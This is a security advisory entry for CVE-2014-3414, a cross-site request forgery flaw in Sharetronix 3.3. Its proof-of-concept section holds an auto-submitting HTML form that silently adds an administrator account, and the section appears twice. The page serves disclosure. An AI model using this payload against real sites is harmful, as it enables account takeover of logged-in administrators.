Sharetronix CVE-2014-3414 Cross Site Request Forgery Vulnerability
BID:67681
Info
Sharetronix CVE-2014-3414 Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 67681 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-3414 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2014 12:00AM |
| Updated: | May 28 2014 12:00AM |
| Credit: | High-Tech Bridge Security Research Lab |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Sharetronix CVE-2014-3414 Cross Site Request Forgery Vulnerability
Sharetronix is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.
An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
Sharetronix 3.3 is vulnerable; other versions may also be affected.
Sharetronix is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.
An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
Sharetronix 3.3 is vulnerable; other versions may also be affected.
Exploit / POC
Sharetronix CVE-2014-3414 Cross Site Request Forgery Vulnerability
Attackers can use a browser to exploit this issue.
The following exploit code is available:
<form action="http://www.example.com/admin/administrators" method="post" name="main">
<input type="hidden" name="admin" value="username">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Attackers can use a browser to exploit this issue.
The following exploit code is available:
<form action="http://www.example.com/admin/administrators" method="post" name="main">
<input type="hidden" name="admin" value="username">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
References
Sharetronix CVE-2014-3414 Cross Site Request Forgery Vulnerability
References:
References:
- ShareTronix Homepage (ShareTronix)